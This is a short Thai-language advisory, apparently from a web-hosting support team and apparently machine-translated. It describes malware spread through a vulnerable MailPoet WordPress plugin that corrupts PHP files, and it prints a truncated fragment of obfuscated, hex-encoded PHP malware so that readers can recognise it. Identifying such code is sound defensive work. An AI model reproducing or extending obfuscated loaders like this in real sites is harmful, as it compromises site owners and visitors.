มัลแวร์ทำลายเว็บไซต์ WORDPRESS

ช่องโหว่ในปลั๊กอิน Malipoet WordPress ทำให้เกิดการติดมัลแวร์ที่รู้จัก การโจมตีจากการติดมัลแวร์พยายามหาทางผ่านสแปมไปยังไซต์ที่ถูกแฮ็ก ในที่สุดสิ่งนี้จะทำให้เว็บไซต์หยุดชะงักและมุ่งเน้นไปที่เว็บไซต์ WordPress ที่มีปลั๊กอินที่ล้าสมัยหรือรหัสผ่านผู้ดูแลระบบที่ไม่รัดกุม

มันดูเหมือนอะไร?

หลังจากการติดไวรัส โค้ด PHP ที่ได้รับผลกระทบจะกลายเป็นบั๊ก และทำให้เกิดความเสียหายของไฟล์ในเว็บไซต์ที่ถูกต้อง นอกจากนี้ยังทำให้ไฟล์ปลั๊กอินและธีมเสียหาย ซึ่งในระยะยาวจะทำให้ข้อความแสดงข้อผิดพลาด PHP ปรากฏขึ้นแทนที่ เดิมออกแบบเนื้อหาเว็บ ตัวอย่างของข้อความแสดงข้อผิดพลาดคือ

ข้อผิดพลาดในการแยกวิเคราะห์: ข้อผิดพลาดทางไวยากรณ์ ‘)’ ที่ไม่คาดคิดใน /home/user/public_html/site/wpconfig.php ออนไลน์ 91 เมื่อกำจัดมัลแวร์ที่ติดไวรัสแล้ว มีทางเดียวเท่านั้นที่สามารถแก้ไขความเสียหายได้ นั่นคือการกู้คืนไฟล์ที่เสียหายจากข้อมูลสำรอง ตัวอย่างของมัลแวร์ที่ดูเหมือนได้รับด้านล่าง

 < ?php $pblquldqei = '5c%x7824-%x5c%x7824*!|!%x5c%x7824-%x5c%x7824%x5c%x785c%x5c%x7825j^%xq%x5c%x7825%x5?c%x7827Y% x5c%x78256<.msv%x5c%x7860ftsbqA7>q7825)3?of:opjudovg< ~%x5c%x7824!%x5c%x782421787825!|!*!***b%x5c%x7825)…

สำหรับผู้ที่ใช้งาน MaliPoet ขอแนะนำให้คุณทำการอัปเกรดเป็นเวอร์ชันล่าสุดที่มี หากเว็บไซต์ของคุณไม่มีไฟร์วอลล์ด้วยเหตุผลใดก็ตาม คุณจะต้องอัปเกรดปลั๊กอินหรือเพื่อขจัดโอกาสเกิดปัญหาซ้ำๆ ให้ลบปลั๊กอิน สนับสนุน

หากหลังจากที่คุณได้พยายามแก้ไขปัญหานี้แล้วและไม่ประสบความสำเร็จ โปรดติดต่อฝ่ายสนับสนุน เรายินดีที่จะให้ความช่วยเหลือ